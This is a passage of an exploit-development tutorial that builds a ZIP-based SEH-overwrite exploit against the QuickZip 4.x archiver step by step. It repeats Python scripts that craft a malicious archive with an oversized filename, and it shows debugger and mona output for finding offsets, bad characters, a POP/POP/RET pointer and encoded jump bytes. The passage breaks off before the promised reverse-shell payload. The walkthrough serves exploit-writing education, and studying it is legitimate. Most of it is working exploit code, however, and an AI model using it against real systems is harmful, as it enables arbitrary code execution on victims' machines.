SBN

Exploiting QuickZip 4.x

In this article, we will create an exploit for QuickZip 4.x versions,
leveraging a vulnerability found several years ago. The way it is
present, makes the exploitation not a trivial task, due mostly to space
restrictions and character mangling. To achieve a successful
exploitation, we’ll have to combine several techniques used on the
Vulnserver series posts, making it a very good
exercise for practicing our Exploit-Fu skills.

The vulnerability was originally found by corelanc0d3r and involves
a SEH overwrite.

A quick search on Exploit
DB
shows only 3 available
exploits, two of them related to the 4.x version:

Available exploits

However, one of them triggers a calc.exe and the other shows a
MessageBox. In this article, we will build one exploit
from-the-scratch that triggers a reverse shell. I will only borrow how
the ZIP format sections are built together from the aforementioned
exploits.

First PoC

To start, we must know how to create a working ZIP file, so we can
have a valid starting point to work on. The following code will create a
ZIP file with a single compressed file called ThisIsATestFile1 of
0 bytes:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'ThisIsATestFile1')LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

Let’s check it:

aroldan@balrog:~/quickzip$ lsexploit.pyaroldan@balrog:~/quickzip$ python3 exploit.pyaroldan@balrog:~/quickzip$ unzip -l exploit.zipArchive:  exploit.zip  Length      Date    Time    Name        0  2020-06-30 13:01   ThisIsATestFile1        0                     1 filearoldan@balrog:~/quickzip$ unzip exploit.zipArchive:  exploit.zip extracting: ThisIsATestFile1aroldan@balrog:~/quickzip$ lsexploit.py  exploit.zip  ThisIsATestFile1aroldan@balrog:~/quickzip$ cat ThisIsATestFile1aroldan@balrog:~/quickzip$

And using QuickZip:

PoC Working

Great! We created a fully working ZIP file using Python.

The bug on QuickZip 4.x appears to be on the way it handles long
compressed file names. Let’s update our proof-of-concept (PoC) exploit
to replicate the vulnerability. This time, we will send a filename of
1000 chars:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'A' * 1000)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

Now create the malicious ZIP file:

aroldan@balrog:~/quickzip$ python3 exploit.pyaroldan@balrog:~/quickzip$ unzip -l exploit.zipArchive:  exploit.zip  Length      Date    Time    Name        0  2020-06-30 13:01   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA        0                     1 filearoldan@balrog:~/quickzip$

Good. Now, let’s attach QuickZip to a debugger. In this example we
will use Immunity Debugger:

QuickZip crash

Great! We were able to replicate the vulnerability!

If we look at the animation, we see that this time we are facing a SEH
overwrite, on where the exception handler and the pointer to the next
exception handler (nSEH) were overwritten.

We must now find the exact offset on where the handler gets overwritten.
To do that, we will create a cyclic pattern using Metasploit’s
pattern_create.rb tool:

$ msf-pattern_create -l 1000Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

And update our exploit with that:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'<insert pattern here>')LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

Check it:

QuickZip pattern location

As we can see, the SEH handler was overwritten with 6B41396A. We can
check the offset with pattern_offset.rb:

$ msf-pattern_offset -q 6B41396A[*] Exact match at offset 298

Great! The SEH handler starts to be overwritten on byte 298 of our
payload.

Update our exploit to reflect that:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'A' * 298 +    b'B' * 4 +    b'C' * 698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And check it:

QuickZip pattern location

Great! We can now proceed to create a working exploit.

Finding bad chars

In the Vulnserver LTER article, we were faced
to a behavior on where certain chars were mangled by the application. As
we are exploiting a file name, chances are that there must be certain
chars that are not allowed.

We can check that by creating an array with all the possible ASCII
chars, injecting it with our exploit and check the mangling results.
Let’s do that:

!mona bytearray -cpb '\x00\x0a\x0d\x3a'

This will tell mona to create the array with all the ASCII chars, except
some usual suspects:

  1. Null byte 0x00.

  2. Line feed 0x0a.

  3. Carriage return 0x0d.

  4. Colon 0x3a.

In Python3, we can inject the same array using:

EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

We can update our exploit with that:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structEXCLUDE = ('0x0', '0xa', '0xd', '0x3a')BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))FILENAME = (    b'A' * 298 +    b'B' * 4 +    BADCHARS +    b'C' * (698 - len(BADCHARS)))LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

Check it:

Bad chars

And perform an analysis of our injected buffer using:

!mona cmp -f C:\mona\QuickZip\bytearray.bin -a 000e98b76
[+] Comparing with memory at location : 0x00e98b76 (??)Only 41 original bytes of 'normal' code found.    ,-----------------------------------------------.    | Comparison results:                           |    |-----------------------------------------------|  0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File    |                                    a4         | Memory 10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File    |   b6 a7                                       | Memory 20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32| File    |                                    5c 00 00 00| Memory 30 |33 34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43| File    |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory 40 |44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53| File    |00 00 00 00 00 00 41 9c e9 00 00 00 00 00 5a 01| Memory 50 |54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63| File    |00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory 60 |64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory 70 |74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory 80 |84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory 90 |94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory a0 |a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory b0 |b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory c0 |c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory d0 |d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory e0 |e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3| File    |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory f0 |f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff            | File    |41 41 41 41 41 41 41 41 41 41 41 41            | Memory    `-----------------------------------------------'

Ughh! Our string was heavily mangled and starting at char 0x2f, it
was dropped altogether. We’ll have to add 0x2f to our exclusions and
we’ll have to iterate over by removing the dropping chars until we are
able to inject all of our 256 chars, even if mangled. Luckily for you,
I did the hard-work already and I only had to add the byte 0x5c to the
exclusion list of chars that dropped the string.

So, our updated exploit to check bad chars is this:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structEXCLUDE = ('0x0', '0xa', '0xd', '0x2f', '0x3a', '0x5c')BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))FILENAME = (    b'A' * 298 +    b'B' * 4 +    BADCHARS +    b'C' * (698 - len(BADCHARS)))LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And the comparison table of mangled chars is this:

[+] Comparing with memory at location : 0x00dff326 (??)Only 119 original bytes of 'normal' code found.    ,-----------------------------------------------.    | Comparison results:                           |    |-----------------------------------------------|  0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File    |                                    a4         | Memory 10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File    |   b6 a7                                       | Memory 20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 30 31 32 33| File    |                                               | Memory 30 |34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43 44| File    |                                               | Memory 40 |45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54| File    |                                               | Memory 50 |55 56 57 58 59 5a 5b 5d 5e 5f 60 61 62 63 64 65| File    |                                               | Memory 60 |66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75| File    |                                               | Memory 70 |76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85| File    |                              c7 fc e9 e2 e4 e0| Memory 80 |86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95| File    |e5 e7 ea eb e8 ef ee ec c4 c5 c9 e6 c6 f4 f6 f2| Memory 90 |96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5| File    |fb f9 ff d6 dc a2 a3 a5 50 83 e1 ed f3 fa f1 d1| Memory a0 |a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5| File    |aa ba bf ac ac bd bc a1 ab bb a6 a6 a6 a6 a6 a6| Memory b0 |b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5| File    |a6 2b 2b a6 a6 2b 2b 2b 2b 2b 2b 2d 2d 2b 2d 2b| Memory c0 |c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5| File    |a6 a6 2b 2b 2d 2d a6 2d 2b 2d 2d 2d 2d 2b 2b 2b| Memory d0 |d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5| File    |2b 2b 2b 2b 2b a6 5f a6 a6 af 61 df 47 70 53 73| Memory e0 |e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5| File    |b5 74 46 54 4f 64 38 66 65 6e 3d b1 3d 3d 28 29| Memory f0 |f6 f7 f8 f9 fa fb fc fd fe ff                  | File    |f7 98 b0 b7 b7 76 6e b2 a6 a0                  | Memory    `-----------------------------------------------'                | File        | Memory      | Note.---------------------------------------------------------0   0   12  12  | 01 ... 0e   | 01 ... 0e   | unmodified!12  12  1   1   | 0f          | a4          | corrupted13  13  4   4   | 10 11 12 13 | 10 11 12 13 | unmodified!17  17  2   2   | 14 15       | b6 a7       | corrupted19  19  103 103 | 16 ... 7f   | 16 ... 7f   | unmodified!.---------------------------------------------------------122 122 128 128 | 80 ... ff   | c7 ... a0   | corruptedPossibly bad chars: 0f 14 15 80Bytes omitted from input: 00 0a 0d 2f 3a 5c

We will have to be very creative in order to use the allowed chars and
maybe the mangled ones to our favor.

Exploiting

In order for us to execute our own code, we must first divert the normal
execution flow to our controlled buffer. As this is a common SEH
overwrite vulnerability, we must search for a
POP/POP/RET sequence that ultimately will
redirect the execution flow to our buffer.

We must remember to search for pointers that contains our allowed chars:

!mona seh -cp asciiprint,nonull -cm safeseh=off -cpb '\x00\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o

This will tell mona to look for pointers that contains bytes that are
ASCII-printable, excluding our known bad chars, exclude modules with
SafeSEH disabled, and omit pointers of modules of the OS. And the
result is:

Found a total of 0 pointers

🙁

We have 2 choices: Use OS addresses or allow null bytes on our search.
The first option is the easiest one, but our exploit will not be
portable. Also, we prefer doing it the hard way!

The main drawback of the second option is that our injected buffer will
be dropped when the first null byte is found. But as we are injecting
the null byte on the SEH handler address, and we are working on a little
endian architecture (x86), the null byte will be the last one to be
injected and we will have to use the nSEH field to jump back.

Let’s look for the available pointers of the required POP/POP/RET
sequence omitting the OS modules and allowing null bytes:

!mona seh -cp asciiprint -cm safeseh=off -cpb '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o

POP/POP/RET pointers

1225 possible pointers. Not bad. I will choose the one at 00524478
which is also alphanumeric. Let’s update the exploit with that:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'A' * 298 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

When we run it, we are able to reach the POP/POP/RET sequence address:

POP/POP/RET

And we also can see that the rest of our buffer (the part with the C
chars) was dropped after the null byte on the POP/POP/RET address:

Dropped buffer

Now, if we execute the sequence POP/POP/RET, we will land on a 4-byte
buffer belonging to nSEH:

nSEH

We’ll have to use those 4 bytes to jump back.

Jumping around

We landed at the nSEH field, which is only 4 bytes long. Let’s see the
available jump options:

  1. A long jump to the start of our injected buffer is 5 bytes long. Not
    an option.

  2. A conditional short jump would work.

  3. An unconditional short jump JMP opcode is 0xeb. Not on our
    allowed chars. Wait…​ Not allowed? If we see the mangling table
    above, we can see that when we injected the byte 0x89 it was
    translated to 0xeb. We can use that!

However, a reverse
jumping
is
performed using offsets from 0x80 to 0xff, being 0x80 the
farthest. Not on our allowed chars.

Our mangling table comes to the rescue again. We will see that the char
0xa5 is converted to 0xd1 which would do a reverse jump of 44 bytes,
on which we will have room to perform an encoded reverse long jump to
the start of our buffer and will left us with around 250 bytes to work:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'A' * (298 - 4) +    # This will be translated to \xeb\xd1 -> 44 bytes backwards    b'\x89\xa5' +    # To fill the rest of the nSEH field    b'A' * 2 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And check if that worked:

JMP succeded

Great! We were able to leverage the mangling to our favor!

Encoding long jump

Now with 44 bytes to work on, we need to perform a reverse long jump to
the start of our buffer. Starting at the point on where we landed after
our initial short jump, the bytes needed to jump to the start of our
buffer would be E9 02 FF FF FF:

Long jump

As you notice, we can’t inject those bytes because they are mangled…​
Wait! Mangled! If we look at the mangling table above, we can see that
we can use the following translations:

  1. 0x820xe9.

  2. 0x02 is allowed.

  3. 0x980xff.

Thus, if we inject the bytes 82 02 98 98 98, QuickZip would
translate that to E9 02 FF FF FF! Update our exploit with that:

